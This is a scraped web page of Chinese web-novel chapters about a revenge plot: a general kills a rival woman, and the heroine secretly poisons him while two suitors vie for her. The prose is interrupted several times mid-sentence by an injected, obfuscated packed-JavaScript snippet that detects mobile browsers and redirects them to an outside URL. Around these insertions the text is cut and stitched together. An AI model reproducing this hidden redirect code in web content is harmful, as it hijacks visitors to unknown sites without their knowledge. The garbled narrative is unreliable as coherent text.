三年前沈纤纤堕胎时来找自己,知慈出事后赵宴然越想越怨愤:沈纤纤明知知慈与自己住在一处,这么做明显不在意他俩的感情是否会破裂。 但知慈出事毕竟错在自己,所以赵晏然虽然内心对沈纤纤不满,却还是控制自己竭力不迁怒她。 但是,直到今早与知慈争执时,赵宴然第一次听说沈纤纤竟还做过冒认知慈公主身份的事。 赵宴然的想法变了。 他实在想不出其他理由——沈纤纤得有多自私,才能做出不顾知慈感受、顶替知慈身份的事情来? 在赵晏然印象里,纵使从小被人区别对待,知慈却一直很在乎这个姐姐,否则当初不会冒着生命危险陪沈纤纤去青牛观。 可沈纤纤的所作所为,却一点没把她当成妹妹。 回想着知慈所受过的种种委屈,赵晏然头一次对沈纤纤萌生了强烈的杀心:她怎敢如此辜负知慈、伤知慈的心? 赵宴然心想着,知慈不杀她,他却想替知慈杀了她。 拿定主意后,赵晏然打道回府,打算让张统领去打听下沈纤纤是否还在兵部供职。 巧合的是,他刚回府上,张统领便递给他沈纤纤被人绑架的威胁信。 赵晏然读完威胁信,第一反应是高飞干的。高飞心术不正,业务不精却偏爱钻营旁门左道,前几日被他撤了职。他性格偏激,既然能拿沈纤纤讨好自己,自然也能做出绑架沈纤纤报复自己的事。 于是赵晏然将计就计,假意营救一路寻至沈纤纤所在处。 赵晏然心想,既然高飞是冲着自己来的,那他若不去,沈纤纤还未必真会被撕票;不如他赶赴现场亲自动手,彻底杀了沈纤纤。 所以他赶走了两个绑匪,来到沈纤纤面前。 眼下,赵晏然剑指沈纤纤咽喉,握剑的手稳得出奇。 他告诉沈纤纤,自己是来杀她的。 “杀……我?”沈纤纤喃喃,“我哪里对不起你,让你必须杀了我?” 赵晏然平静道,“你没什么对不起我,我为知慈杀你。” “为知慈?” 赵晏然道,“我直到今日才知三年前你抢夺过知慈的身份。知慈不杀你,我却想替她杀你。” 闻言,沈纤纤美目凄然。 “可那是我同她的事,无论如何不该成为你对我刀剑相向的理由……”,她想到什么,仿佛抓住救命稻草,“晏然,你是不是还恨我当初在你瘫痪时离开?” 赵晏然被沈纤纤跳脱的思路搞得愣了一下,他想了想,答道,“你那时离开的确另我失望,但远谈不上恨。” 沈纤纤绝望了,“所以你杀我,仅仅是为了沈知慈?” “是。” 沈纤纤不甘地追问,“那我呢?不提沈知慈,单论你我,我对你来说到底算什么?” 赵晏然冷淡道,“你不害知慈,于我来说便是陌路人。” 这样疏远之极的回答,令沈纤纤悲伤压过了恐惧。 沈纤纤宁愿赵晏然杀她是因为恨她,而不是因为她伤害了别的女人。因为这起码说明赵晏然心里还有她。 她凄然道,“你对我难道半点旧情也无吗?你明明、明明是喜欢过我的。” 赵晏然漠然道,“你得了癔症?我何时……”是了,他想起来了,在路府期间,他确实曾对沈纤纤有过好感。 但那份好感来得很浅薄,相比他与知慈之间的爱恨纠葛,几乎可以忽略不计。 赵晏然冷声道,“你既愿自作多情,那我也不妨让你死个明白。” “上清山上,我确实迷恋过你。” 那时,赵晏然还不是上清武功最高的弟子,每日最渴望之事便是超越所有同门。 在比武大会上,沈纤纤当着众多同门的面,主动让赵晏然将赢得的奖品送给她。随即,在场所有同门都朝自己望来,他们的目光中有的诧异,有的羡慕,还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不该是这样的,你明明应该喜欢我啊……” 说着,沈纤纤的声音变得怨毒,“……对,都怪沈知慈,是她抢走了你,她是个贱人——” 但沈纤纤没能再说出下半句话,因为赵晏然干脆地割断了她的喉管。 “我同你说了这么多,是想让你死的明白,而非诋毁她。” 随即,赵晏然顺手将长剑上的血在茅草中擦了擦,然后收剑入鞘,没再多看她的尸体一眼。 解决了沈纤纤,赵晏然打起精神,接下来便该对付策划这场绑架的幕后黑手了。 但赵晏然还未动作,院中便被无数黑衣人包围住了。他们人均配弓,箭尖对准了赵晏然。 赵晏然却并不意外,他平静看向外面,“来时便察觉四周不对劲,果然有后手。你们谁领头?想将我性命留在这里,还是怎样?” 他说话时身体绷紧蓄势待发,时刻准备动手。 然而,黑衣人们既没有进一步动作,却也没有半分松懈。只将箭尖对准赵晏然,不放他离去。 就在双方剑拔弩张时,屋内角落处发出咔哒一声轻响。 赵晏然余光扫过,便见屋内侧墙壁隆隆作响,随后墙面向两边折叠,露出内室。 出乎赵晏然的意料,他听见一道熟悉的声音,“好了,所有人都下去吧。这里不需要你们了。” 随即他看到,坐在内室的人竟是知慈。 46. 和好 院中的黑衣人已经全部消失了。 赵晏然与内室里的知慈遥遥相望。知慈身边,轻鸿眼观鼻鼻观心,保护着知慈的安全。 赵晏然抬步走进密室。他身体前倾,两只手撑着桌子,垂眸望着知慈,一言不发。 他要听她的解释。 知慈道,“轻鸿,你也下去吧。” 轻鸿有些不放心,但还是依言退下了。 赵晏然冷笑着道,“你设计我?” 赵晏然觉得自己被耍了,然而下一秒,他听见知慈歉疚道,“对不起,我的确在试探你,对不起。” 知慈一改前些日子的阴阳怪气,语气诚挚,反倒令赵晏然愣住。 知慈继续道,“我恨你喜欢沈纤纤还来挽回我,所以特意设计这个圈套想诈出你的真面目。没想到,是我小人之心度君子之腹。” 见知慈这样说,赵晏然心中一颤。 她大费周章想验出自己的真心,说明还是很在意自己。想到这里,原本生气的赵晏然忍不住有些欣喜。 知慈冲赵晏然伸手,“坐。” 赵晏然仍臭着脸,但却听话地拉开凳子坐到了知慈对面。 知慈端起几案上的茶壶,为赵晏然倒了一杯茶,递给了赵晏然。 知慈道,“方才你对沈纤纤说的那些话,为什么不早些同我说?” 赵晏然垂眸看着手中茶杯,“那些话,我一直都想说给你听。” 他若能早些同知慈说,又怎会和知慈走到这一步? 这样想着,赵晏然将手中的茶水一饮而尽。 另一边,知慈盯着赵晏然把杯中茶水全部喝光,放下了心来。 知慈在心中冷笑。 方才之事,的确让她相信了赵晏然半点也不爱沈纤纤。但话又说回来,赵晏然本来就是个自私自利的人,除了他自己外,他又爱过谁呢? 赵晏然在茅屋中声情并茂的表白的确有几分感人,但如果只是嘴上说说,杀个对他而言并不重要的人,又有什么意义呢? 说到底,赵晏然口中对她的‘爱’,不过是怀念‘被她爱着’的感觉;而他对她的所谓执着,也不过是失去曾经理所应当拥有之物的后悔罢了。 知慈原本打算设局让沈纤纤杀赵晏然,让赵晏然因背叛而痛苦到肝肠寸断后取出他的心头血。可眼下,事情的发展却变得不受控制。 但知慈也并非毫无准备,她决定采用她最初设想的办法。 赵晏然自私凉薄,唯一看重的只有他的武功。当初与神明达成交易时,知慈首先想到的办法,便是让他失去武功,变成一个一无是处的废人。 因此,方才在外室听闻赵晏然对沈纤纤无意后,知慈便立刻开始提前布置第二方案,在茶水中加入了神明送给她的毒药。 那毒药无色无味,第一、二次下毒后不会有任何异常,但第三次服用毒药后,下毒对象就会立刻身体麻痹,武功尽失。 赵晏然曾因接受不了瘫痪选择自杀,所以这一次,赵晏然失去了他视若生命的武功后,知慈不信他不会疯魔。届时,她便取他的肝肠寸断之血。 知慈悄悄观察着赵晏然喝下茶水,见他没有异样,她心下暗舒了一口气——倘若赵晏然能尝出神仙给她的毒药,那自己也只能认命了。 接下来,知慈打定主意:既然赵晏然口口声声说喜欢自己,那她不如顺水推舟,暂时与赵晏然缓和关系,虚与委蛇,也方便她给赵晏然下药。 于是她缓和了语气,扯开话题道,“说起来,自回来以后,我还没有好好同你叙过旧。” 闻言,赵晏然怔然片刻,表情似欣喜、似苦涩,他沉默了半晌,轻声道,“昨日宴席之上,你明明答应了我来枣花街叙旧,但……”后面的事,他不想再提。 她何时答应过他?知慈愣了一瞬,随即想起昨日宴席她的确随口应付过他一句什么。 原来他当时是邀请自己去故居叙旧?怪不得今晨会在枣花街遇见他。 知慈一时失语,随即道,“明日也不晚,若你愿意,明日你我再聚也使得。” 听见知慈的邀约,赵晏然下意识翘起嘴角,原本冷峻的眉眼也舒展开来,“嗯。” - 那之后,轻鸿指挥雇佣的绑匪处理现场,而赵晏然则同知慈一道回城。 路上,赵晏然提出了困扰他很久的问题,“知慈,这三年来你究竟去哪里了?” 知慈道,“说来你也不信,我同谢琅误闯阴阳交界,还见到了神明,神明显灵才把我们送回了阳间。” 赵晏然道,“我信。” 知慈瞥他一眼。 赵晏然眉目英挺,凝视着知慈道,“三年来我一直在忏悔,想必是神明显灵,才让我执念成真,将你送了回来。” 知慈没忍住嗤笑一声,“你真能联想。” 自己回来同他有什么关系?赵晏然以为自己许愿成真,却不知自己回来是为向他索命。 二人回到城中,迎面走来刚看完热闹散去的人,相互唏嘘地交谈。知慈注意到,这些人都是从路茂枝府上方向过来的。 二人又走了一段距离,发现路府大门前聚集了不少百姓看热闹,围观着官兵们在路府进进出出。 知慈和赵晏然站在人群中,听着路人们议论。 原来,仅仅过了一夜,路茂枝昨日在孙府吸食寒食散过量意外身亡一事便已传遍京城。 京城官府效率惊人,今日上午便以路府包庇路茂枝服用朝廷禁药为由,将府上家眷全部带走调查。 赵晏然道,“想不到官府动作这么快。” 知慈还未说话,便直觉感受到有目光落在自己身上。她朝对面望去,在路府大门旁官兵队伍中看见了谢琅。 只见谢琅面无表情站在远处,不知看了二人多久。 自早上与知慈分开后,谢琅便指挥官兵去路府抓路繁叶。 在谢琅看来,路府不可能对路茂枝服寒食散的事一无所知,若非路繁叶平日包庇他弟弟,知慈就不会经历这种事。 谢琅忙碌了一个上午,终于了结了查抄路府之事。 然而下一刻,他便看到早上还剑拔弩张的二人此刻有说有笑站在一起。 谢琅心情跌落谷底,抬步向知慈走去。 “知慈,你怎会在这里?”谢琅声音温润,风度翩翩,没显露出半点不虞。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984103|144584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知慈道,“我方才出城办事,偶遇赵晏然,便与他一道回城。” 谢琅和煦的脸色没有半点变化,“原来是这样,正巧我手头事务也处理完了,咱们回宫吧。” 说着,他自然而然过来牵知慈,却被赵晏然半路打开手。 赵晏然面如寒霜,冷冷道,“殿下,自重。” 谢琅还是那副温润模样,微微笑道,“赵将军,我与知慈如何,还轮不到你一个外人插手吧。” 谢琅言下之意,自己与知慈有比他更亲密的关系。 赵晏然脸色瞬间难看极了。 知慈眼见气氛变得僵硬,连忙对赵晏然道,“好了,有事明天再说,我先走了。”说罢悄悄拉了一下谢琅的手,示意他该走了。 知慈的动作被赵晏然收入眼中,见知慈对谢琅一副亲昵态度,心里酸涩又不甘心,握紧拳看二人走远。 不远处,离开赵晏然后,谢琅的神色再不复方才那般波澜不惊。 行至一条小巷无人处时,他开口道,“你方才说,你明天还要见赵晏然?” 知慈心不在焉‘嗯’了一声。 谢琅便有些生气,“可你今早不是已经与他说清楚了吗?为什么还要和他有所牵扯。” 知慈用莫名其妙的眼神看他,“这你也要管?” 谢琅清俊的面皮便绷紧了,“什么叫这也要管?你和我已发生了这样的关系,又怎能一直同他不清不楚?” 知慈见谢琅还在纠结二人发生了关系,有些头疼道,“我都说过了,昨晚你我欢愉一场,只是权益之计。你不要搞得与我私定终生一样。” 谢琅闻言,沉下脸色再无言语。 “你别这样。”知慈无奈。 谢琅不说话。 知慈见一向温和的谢琅因为自己摆出这副不虞的神色,心中叹了口气,还是心软了。 她敷衍地哄道,“好吧,我不喜欢赵晏然。” 谢琅无动于衷,知慈道,“……你不信算了。”说着,她抬步打算走了。 下一刻,知慈便被谢琅拉到了怀里。 谢琅的神色无奈又痛苦,他凝视着知慈道,“你真是……让我一点办法都没有。” 知慈微微仰头望着他,二人离得很近,鼻息相闻。于是知慈伸出手,抚上谢琅莹玉般清俊的侧脸。 “你想的太多,才会痛苦。你若真喜欢我,就不会执着于这些与无关紧要之事。” 谢琅望着知慈,压抑着情绪道,“如果专一都与爱无关,那什么才算有关?” 知慈闻言,犹如魔鬼惑人堕落,在他唇边低语道,“人生苦短,及时行乐。这才叫紧要之事。” 昨夜的谢琅天赋异禀。知慈目前虽然无心谈情说爱,但若能与他只保持身体关系,知慈倒也愿意分些耐心来哄他。 谢琅极不赞同,皱眉不屑道,“诡辩。” 但他的行为却很诚实,只见他爱怜地在知慈唇上落下了轻吻。 那之后,谢琅没再有下一步动作,与知慈拉开距离道,“回宫吧,我们在外面这般,实在不成体统。” 二人就在这样若有似无的暧昧氛围中回到了各自的宫殿。 47. 出游 第二日,谢琅身着朝服,同众臣上朝。 嘉平帝端坐龙椅,巡视下方,道,“赵晏然怎么没来?” 嘉平帝身后,太监恭敬道,“回陛下,赵将军一早遣人告了假。” 嘉平帝未再追问,但神情阴沉下来,明显对赵晏然吊儿郎当的态度很不满。 这之后,早朝按部就班进行。 这次早朝的主要内容是讨论即将举行的大阅礼。 原来,朝廷为纪念对鞑靼战争的胜利,准备于夏季举行一次大阅兵。如今日期渐近,各项提案也都提上了日程。 此刻,鸿胪寺官员正在诵读经由嘉平帝确认过的阅兵流程。 “正式检阅开始前,由营官鸣炮十九发,以示皇家庄严;随后大阅开始,马步官军方阵入场;之后是阅射队列……” 官员从同到尾向百官讲解了一遍流程。讲解结束后,嘉平帝开口,“众爱卿可还有什么建议?” “陛下,臣有异议!” 嘉平帝话音刚落,便见一位言官出列,“陛下,十九发礼炮是皇家最高的规格,兴佑帝如今健在,您鸣炮十九发于礼不合!” 又一言官出列,“陛下,长幼有序、尊卑有别,您越过兴佑帝乱用礼制规格,有违祖训。” “陛下,您应主动减少鸣炮次数以表示对太上皇的敬重!” 言官们你一言我一语,将嘉平帝欲使用最高规格鸣炮礼的方案批判得一无是处。 嘉平帝脸色难看极了。 这次朝会的本意是商讨大阅礼流程落实的具体事宜,可嘉平帝无论如何也没想到言官们会在礼制一事上同他争执。 在嘉平帝看来,打赢鞑靼战争乃是守住谢国基业的不世之功,在位期间有这样的政绩,使用最高规格的鸣炮礼乃是理所当然。 嘉平帝道,“朕领导谢国打赢民族战争,无愧于列祖列宗,如何配不上这最高规格的鸣炮礼?!” 言官反驳,“陛下!祖宗之法不可乱。此事您非但不该在礼制上僭越,还应当尽快将太上皇从鞑靼接回,归还天子之位。” 见言官老生常谈,再次提起接回兴佑帝回国一事,嘉平帝扫兴之极。 “太上皇回国一事朕自会尽力协商,此事不必再提;但大阅礼意义重大,不必墨守成规。” 随即,他对鸿胪寺官员道,“礼制照旧。” 然而他话音刚落,堂下便呼啦啦跪下了一大片言官。 “陛下,您请三思啊!” 嘉平帝望着殿前下跪叩首的臣子们,脸色铁青,“混账!你们要与朕作对吗?” 嘉平帝的怒火无济于事,众臣依旧跪地劝阻。 谢琅站在队伍中旁观着这场骚乱。 在谢琅看来,此次大阅礼主要目的是庆祝战争胜利,凝聚军心和民心。至于皇家鸣炮的礼制规格高低,其实并不影响这次大阅的主要目的。 他不理解为何父皇在这种虚名和花架子仪式上如此坚持。 大殿之上,争执足足持续了一个上午。 臣子们引经据典,从各个角度论证嘉平帝礼制越过兴佑帝会如何愧对列祖列宗,导致国家礼崩乐坏。 最终,这场僵持以嘉平帝的妥协告终。 嘉平帝阴沉着脸色,命鸿胪寺将鸣炮礼由十九发改为了十七发,自降两发以示对远方兴佑帝的尊敬。 - 在众人僵持之时,皇宫内,知慈正坐在自己的寝殿内洗漱。 昨日赵晏然遣人送信来,说今日是追月节,想邀她去京城内的街市游玩。 知慈心下盘算,是时候给赵晏然第二次下毒了,于是她爽快应允。 知慈晨起后梳洗一番,换上了一身娴雅的衣裙,外形清丽脱俗。 随即,知慈动身出宫,前往与赵晏然约定的汇合之地。 - 知慈来到了街市。 只见闹市一角,赵晏然作侠客打扮抱剑倚墙垂眸而立。 他身段颀长风流,容姿端丽神色冷淡,纵使打扮刻意低调朴素,出众的外形也引得往来行人频频注目。 察觉知慈的目光,赵晏然微微抬头。看到知慈的同时,他露出一个极浅淡的笑,与三年前追月节来接她时的神态一模一样。 “来了?走吧。”赵晏然招呼她道。 二人于京城街市并肩而行,因为今日是追月节,大街小巷均热闹无比。 知慈道,“今日应有早朝吧,你怎么不参加朝会?反倒有闲心同我出来?” 赵晏然道,“我遣人陛下告了假。” 知慈看他,“你这样不太好吧,陛下肯定会对你不满。” 赵晏然无所谓道,“那又如何,他又不能拿我怎样。” 知慈闭上了嘴,不再多管闲事。 二人走走停停,赵晏然耐心陪着知慈在各家摊贩前闲逛。 知慈行至一处字画摊位前,眼前一亮。 那字画摊位展示着各色不知名书法诗句,知慈只读了几句,便觉写的异常精妙。 知慈折服于作者的才华,向摊主问道,“老板,这诗是您做的吗?” 然而摊主半晌没有回应。 知慈抬起头,这才发现摊主正一脸意外和激动地盯着赵晏然,完全没注意到知慈的发问、 “赵将军……是您!真得是您!”书生激动看着赵晏然道。 知慈心下疑惑,他和赵晏然认识? 她又重新打量起眼前人。只见摊主与他们年纪相仿,是个皮肤黝黑单眼皮、一身书生打扮的少年。 另一边,赵晏然听到书生的话,微微拧眉,随即神色松动,似乎想起了什么。 “啊,是你啊,你叫……” “李文武!”黝黑少年立刻接道。 赵晏然点头,语气变得和善了不少,“你怎么来京城了?” 李文武挠头,“小人在黄土城乡试中了举,得以进京赶考,来参加会试。如今时间未到,便在这题字摆摊挣些盘缠。” 知慈闻言侧目,李文武年纪轻轻便中了举,怪不得能创作出如此才华横溢的作品。 她难掩好奇,插口道,“你们什么时候认识的?” 李文武道,“你说我和赵将军?嗐,那是两年前的事了,那时战争还没结束,鞑靼军队意欲攻占我的家乡黄土城,是赵将军率军在城内拼死抵抗,救下了我们城中百姓。围城期间,我们城里年轻人给赵将军部队打了不少下手,我便是在那时结识的赵将军。” 知慈听着李文武的发言,觉得他口中的赵晏然与自己的印象十分割裂。率军拼死守护平民?这还是她认识的那个冷漠利己的赵晏然吗? “你说的是赵晏然?”知慈怀疑道。 李文武点头,“是啊。当年徐钰战败后,鞑靼开始反攻,每占领一座城池便要屠杀城内百姓。就在鞑靼人打算进攻黄土城时,赵将军领着燕州军从天而降,拯救了黄土城的百姓。” 李文武继续道,“那时赵将军只带了几千人马,鞑靼却有足足三万人,本来是绝对的劣势。但赵将军率领军民死守城池三个月,拖到等来了援军。那之后赵将军反守 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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知慈道,“其实我一直好奇,当年你明明很抗拒上战场,怎么后来却转了性选择参军?” 赵晏然顿了一顿,随即轻描淡写道,“就是想去了,没什么特别理由。” 见他明显回避,知慈也不再追问。 - 与此同时,皇宫。 争执了一上午的早朝终于结束,谢琅下了朝,前往衙门务公。 刚进衙门口,他的心腹便迎了上来,“殿下,您让我所查之事有眉目了。” 谢琅点头,示意下属跟随他入室。 带上屋门后,谢琅问道,“怎么说?” 下属道,“回殿下,属下的眼线走访吴县时结识了一个短工,三年前在徐钰麾下任亲卫。他告诉属下,徐钰当年战败有隐情。” 原来,几日前谢琅随池无暇去都察院看过徐钰通敌的证据。虽然证据确凿,谢琅却依然不愿相信老师会做出叛国之事。 他和徐钰相处多年,深知徐钰对谢国极为忠诚,将江山社稷看得比生命还重。这样的人绝不会做出卖国求荣的事。 但谢琅也很清楚,如果没有确凿的证据,他还是无法给老师翻案。 自那以后,谢琅虽然明面不再同人提起徐钰,私底下却一直命人走访西北,寻找当年出事的线索。 如今下属汇报事情有进展,谢琅精神一震,追问道,“老师之事有什么隐情?” 下属摇了摇头,“那士兵防备心极重,害怕惹祸上身,只愿同您亲自说。” 谢琅道,“那就带他来见我。” 下属道,“属下已经让他从吴县启程了,大约明后日便能抵京。” 谢琅点头,“到了以后,第一时间带他来见我。” 48. 愤怒 另一边,京城大街。赵晏然、知慈二人同李文武作别后,径直去了附近一家酒楼吃饭。 二人点了几道菜,很快小二便将菜和酒水都端了上来。 知慈早上没吃饭,此刻饥肠辘辘,举起筷子吃得又快又急,很快胃就些撑,放下了筷子。 一边赵晏然吃相却很斯文,他慢条斯理没吃几口,见知慈放筷子,道,“你这就饱了?” 知慈道,“饱了。” 赵晏然道,“可还有好几道主菜还没上。” 知慈道,“都交给你了,我吃不动了。” 赵晏然无奈,“我一个人也吃不动那么多。” 知慈道,“那你快去让小二问问后厨做没做,没做就不要了。” 赵晏然点头,起身出了包间,下楼去寻小二了。 见赵晏然出了房间,知慈坐直了身子。 她可没忘记出来见赵晏然的目的。知慈从袖中拿出毒药瓶,迅速而隐蔽地倒在了赵晏然的酒水中。 毒药无色无味,遇水即溶,没有半点痕迹。 做好这一切,知慈坐回了原处,假做无事发生。 赵晏然回到厢房时,便见知慈无所事事地趴在窗边朝外看。 “你在看什么?”赵晏然问。 知慈指着窗外道,“你看,对面在办灯谜会。” 赵晏然也探出头向窗外望去,见到对面广场空地上张灯结彩举办灯谜会,聚拢了不少行人。现场气氛热烈,人群不时爆发出哄堂大笑声。 原来对面灯谜会由专供皇室的点心铺蜜枣斋主办,活动形式是追月节常见的猜灯谜送奖品。 但与普通猜谜不同的是,主办方别出心裁,规定参与者赢了可得奖品,输了则要接受惩罚,接受惩罚的方式是被当众整蛊。 只见一名失败者站在台上,将手伸进盲盒之中,然后一声惊叫,摸到了一个断手。 台下观众哄堂大笑,因为他们的视角从一开始看的很清楚,那就是一个假道具。 “无聊。”赵晏然评价。 “多有意思啊,”知慈道,随即换了话题,“你把菜退了吗?” 赵晏然坐回自己的位置上,“退了,后厨还没下锅。” 说着,他拿起桌上酒盅,给自己倒了一杯酒。 知慈道,“噢,那挺好。”她状似不经意地说着话,实际一直留意着赵晏然的举动。 赵晏然将毒酒一饮而尽,神色没有任何异常。 知慈悬着的心也放了下来。 那之后,赵晏然放惬意地喝酒夹菜,有一搭无一搭同知慈闲聊。 知慈懒洋洋倚窗而立,一边瞧着窗外的热闹,一边有些无趣地看着赵晏然一口菜一口酒,将那壶毒酒喝得干干净净。 一壶酒下肚,赵晏然神色微醺,水眸含情。 他看起来有些醉了,凝视知慈良久,轻声道,“知慈,我好想你。” 赵晏然平日情绪内敛,此刻突然没头没脑说这样肉麻的话,明显是喝得有些上头。 知慈顺着他道,“我就在这里,你在说什么呢?” 赵晏然对知慈的回应不太满意,“我认真的,真的很想你,还有,我真的……很喜欢你。” 听他反复强调对自己的情意,知慈忍不住内心嫌弃。 她相信赵晏然喜欢自己。前日他在沈纤纤面前对自己的表白言犹在耳,知慈相信如果让赵晏然在她和沈纤纤之间二选一,他一定会选自己。 但话又说回来,在赵晏然心中比过沈纤纤是什么很值得骄傲的事吗? 当年赵晏然对沈纤纤有好感时,沈纤纤不想他回上清山,他便马上同沈纤纤翻脸。他对其他人尚且如此,对自己的喜欢又能有多深? 赵晏然真正在乎的东西,其实是武功、自尊,还有虚荣。此刻自己没触动他根本利益,他当然可以含情脉脉表达爱意,反正拿嘴说又没有成本。 为了证明自己的想法,知慈微微冲赵晏然笑道,“我也很喜欢你。” 她看见赵晏然眼中一亮,隐隐泛起泪花,显然对她的表白很是受用。 知慈心中冷笑——就是这样,拿嘴说的情话就是如此廉价。自己明明内心想将赵晏然千刀万剐,对他说句‘喜欢’还不是信手拈来? 赵晏然表面对自己满嘴喜欢,但是,如果喜欢她和他的根本利益相冲突,他会怎么选择呢? 知慈再次想起当初与他决裂的原因:当初他觉得自己拿不出手,拒绝把自己介绍给同门。 这个人从来就没变过,他只爱自己。 想到这里,知慈心中突然升起一股恨意,她真讨厌他这副虚伪的深情做派。若不是需要虚与委蛇,再下一次毒,知慈真想当场揭穿他的真面目。 知慈心中郁闷,又不能发作。她转头看向窗外,见对面灯谜会正在整蛊,参与者被迎头浇下一大盆冷水,淋成了落汤鸡。知慈心里突然有了个主意。 她转过头,故作惊喜对赵晏然道,“晏然,你看!对面灯谜会的头奖是御膳房大厨特制的桂花雪莲酥酪。” 赵晏然两颊发红,神色露出几分醉态,“那东西你在宫中想吃多少有多少,有什么稀罕?” 知慈道,“那怎能一样,我在宫里从来没见过这道甜品,真想试试什么味道……” “你想吃,我可以给你想办法……可是,”赵晏然迷蒙的双眼露出疑惑,“你不是饱了吗?那酥酪放到第二天就酸了,你现在还能吃下吗?” 知慈确实吃不下了,但她看不惯赵晏然虚情假意。想到赵晏然不通文墨,参加灯会肯定受罚,知慈起了恶作剧之心,想看赵晏然出丑。 知慈道,“能吃下,”又叹了口气,“想吃……” “那行,”赵晏然酒意上涌,爽快道,“那咱们走,我去给你赢回来!” 知慈见他答应得如此痛快,心中窃笑酒喝多了人确实会变傻。 赵晏然拉着知慈出了酒楼,来到对面人群外围,对知慈道,“你在这等着,我去报名。”随后便挤入人群中,不见了踪影。 那之后,参赛者一个接一个登台,知慈却一直没见到赵晏然。 就在知慈等得有些无聊时,台上出现了一个她认识的人——李文武。 知慈有些意外,李文武也来参加灯谜会?以他的才华,赢下灯谜应该轻而易举吧。 然而,李文武接下来的表现却令知慈大跌眼镜。只见他翻看的所有灯谜全部答错,成为了整场活动受惩罚最多的参与者。 李文武一脸坚毅地接受了所有惩罚,遗憾退场。没过片刻,下一个参与者便登了台。 是赵晏然。 赵晏然外形清逸,一登台便吸引了众人目光。台下有人惊叫,“他长得好像赵将军?” “他就是赵将军吧!” “将军大人也来与民同乐?” 赵晏然的出现引起台下骚动,越来越多的人聚集过来,想来一睹传闻中这位少年英豪的真容。 赵晏然脸色仍然泛着红,对台下的议论声恍若未闻,只径自去解灯谜。 由于方才李文武题目全部答错,因此台上灯谜没有任何更换。 接下来,赵晏然轻而易举解开了五个灯谜。 台下见赵晏然轻松答出最难的灯谜,一片叫好,“没想到赵将军不止会打仗,竟连文墨之事都如此精通!” 赵晏然在众人的惊叹中领了奖品,施施然下了台。 知慈目瞪口呆地看着赵晏然提着一屉点心,气定神闲来到她身边。 “你要的酥酪,我赢来了。” “……你这是作弊。” 知慈猜到了,是李文武上台默记谜面后告诉了赵晏然答案,所以赵晏然才能这么流畅地作答。 赵晏然神色无辜,“谁说的?我有证人。”说着,他从身后拉出浑身湿透的李文武。 李文武被拉得踉跄一下,抬头一本正经对知慈道,“我作证,赵将军自己答出来的。” 知慈见两人在她面前串供,被他们理直气壮的模样噎得说不出话来。 随即赵晏然又道,“旁的事情等下再说,你要的点心,凉了就不好吃了。” 说着,他将点心盒打开,露出了里面的四碗酥酪,递给了知慈。 知慈望着酥酪,有点想吐。 她此刻撑得不行,根本吃不下任何东西。 赵晏然见知慈不接,疑惑道,“你怎么不接,不是想吃吗?难道说,你……只是消遣于我?” 知慈觉得自己在搬起石头砸自己脚,她咬牙道,“想吃。” 赵晏然点头,没绷住表情,笑意一闪而逝。 下一刻,远处传来一道声音。 “知慈。” 知慈转头,朝声音方向看去。 出乎她的意料,来人竟是谢琅。 - 一个时辰前,谢琅同下属交代徐钰之事,又在衙门处理了手头公务。随即他得了闲,想起今日是追月节,便想去找知慈,和她一起出宫转转。 然而来到知慈宫殿,他才知道知慈出了宫。 谢琅勉强压下心里的失落,一人出宫来到皇城街上,想着买盏花灯,等知慈回宫后借故去看她。 谢琅来到闹市,挑了一盏精致的花灯,又买了些女孩子喜欢的玩意儿。 大街小巷张灯结彩,可知慈不在身边,谢琅只觉周遭喧嚣、了无意趣。 然而就在这时,他看到不远处人群聚集的会场中心,赵晏然正在台上猜灯谜。 赵晏然堂堂将军在这里风花雪月,是在讨女孩欢心吗? 谢琅目光梭巡过台下的人群。果不其然,他看见了知慈。 原来知慈不在宫中,是去找赵晏然了。 可她不是说不喜欢赵晏然吗? 谢琅说不清心里是什么滋味,他看着赵晏然下台朝知慈走去,将赢得的奖品递给知慈。 望着知慈同他说笑的模样,谢琅心脏仿佛被攥成一团。 他脱口唤知慈的名字,想引起知慈的注意。 知慈回头,见到谢琅,很是意外,“你怎么在这里?” 谢琅压抑着内心情绪,勉强维持着得体,如平日那般温润和煦道,“我方才买了盏花灯,想等回宫给你,没想到这么巧。” 说着,他自然而然将手中花灯递向知慈。 另一边,赵晏然自见到谢琅的那刻起,促狭的神情便消失了。 他仍旧维持着方才递给知慈糕点盒的姿势,望着知慈的目光变得紧张而不安。 她又要选谢琅吗。 一时间,两位外形出众的青年同时目光灼灼望着知慈,等待着她的回应。 旁边的李文武看得一愣一愣,恰好此时他的摊位来了客人,于是李文武悄悄溜走,回到摊位一边应付客人,一边继续远远瞧热闹。 而知慈面对着二人同时伸出的礼物,内心快速地权衡。 接谁的礼物? 谢琅和赵晏然都温柔地望着她,但知慈分明感觉到气氛剑拔弩张——他们在等待着她的选择。 知慈首先排除同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 